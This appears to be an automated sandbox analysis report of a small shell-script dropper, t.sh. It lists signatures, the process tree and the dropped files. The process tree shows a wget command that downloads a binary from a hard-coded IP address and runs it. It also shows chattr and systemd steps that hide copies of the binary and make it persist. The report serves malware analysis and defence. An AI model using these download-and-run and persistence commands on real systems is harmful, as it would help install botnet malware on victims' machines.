Overview

overview

7

Static

static

1

t.sh

ubuntu-18.04-amd64

7

t.sh

debian-9-armhf

7

t.sh

debian-9-mips

7

t.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    140s
  • max time network
    116s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23/10/2026, 06:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    t.sh
  • Size 153B
  • Sample261023-he64tacd45
  • SHA256 378c84b547b9c0158ce497f589aae592d465eb06ba7ab572e5c98a001a0a43e6
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Removes the immutable protection flag from a file 1 TTPs 7 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Changes its process name 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/t.sh
    /tmp/t.sh
    1⤵
    • Executes dropped EXE
    PID:715
    • /usr/bin/wget
      wget -O b http://85.137.54.178:8080/bins/5
      2⤵
      • Writes file to tmp directory
      PID:718
    • /bin/chmod
      chmod 777 b
      2⤵
      • File and Directory Permissions Modification
      PID:734
    • /tmp/b
      ./b tenda-goform
      2⤵
      • Executes dropped EXE
      PID:736
      • /usr/bin/chattr
        chattr -i /etc/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:737
      • /usr/bin/chattr
        chattr -i /var/cache/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:745
      • /usr/bin/chattr
        chattr -i /var/lib/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:786
      • /usr/bin/chattr
        chattr -i /usr/bin/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:794
      • /bin/systemctl
        systemctl daemon-reload
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:823
      • /bin/systemctl
        systemctl enable --now /etc/systemd/system/cpuhp429.service
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:836
    • /etc/.cpuhp429
      /etc/.cpuhp429 tenda-goform
      2⤵
      • Changes its process name
      PID:736
      • /usr/bin/chattr
        chattr -i /var/cache/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:856
      • /usr/bin/chattr
        chattr -i /var/lib/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:857
      • /usr/bin/chattr
        chattr -i /usr/bin/.cpuhp429
        3⤵
        • Removes the immutable protection flag from a file
        PID:858
      • /bin/systemctl
        systemctl daemon-reload
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:859
      • /bin/systemctl
        systemctl enable --now /etc/systemd/system/cpuhp429.service
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:872
  • /bin/sh
    sh /etc/.cpuhp429.loop
    1⤵
      PID:852
      • /bin/date
        date "+%s"
        2⤵
          PID:853
        • /bin/cat
          cat /etc/.cpuhp429.beat
          2⤵
            PID:854
          • /bin/sleep
            sleep 45
            2⤵
              PID:855
            • /bin/date
              date "+%s"
              2⤵
                PID:890
              • /bin/cat
                cat /etc/.cpuhp429.beat
                2⤵
                  PID:891
                • /bin/sleep
                  sleep 45
                  2⤵
                    PID:892
                  • /bin/date
                    date "+%s"
                    2⤵
                      PID:893
                    • /bin/cat
                      cat /etc/.cpuhp429.beat
                      2⤵
                        PID:894
                      • /bin/sleep
                        sleep 45
                        2⤵
                          PID:895

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            .boat.lock
                            • Path /dev/shm/.boat.lock
                            • Size 4B
                            • SHA256 9df24862b9970e96cfb02c523f9f3ef7eb2e265cc2c9e47e1d9ad059dcc41461
                            • MD5 SHA1 SHA512
                            Submit Download

                            cpuhp429.service
                            • Path /etc/systemd/system/cpuhp429.service
                            • Size 242B
                            • SHA256 fcac11fea61a70687b74099d971ebf4d6e0d2fd098954fb8e52d70e47c584855
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            b
                            • Path /tmp/b
                            • Size 984KB
                            • SHA256 92f859eb329b97f289bd7b864f27559bb8a70a56fd165bbc5bf27751b62ff94a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download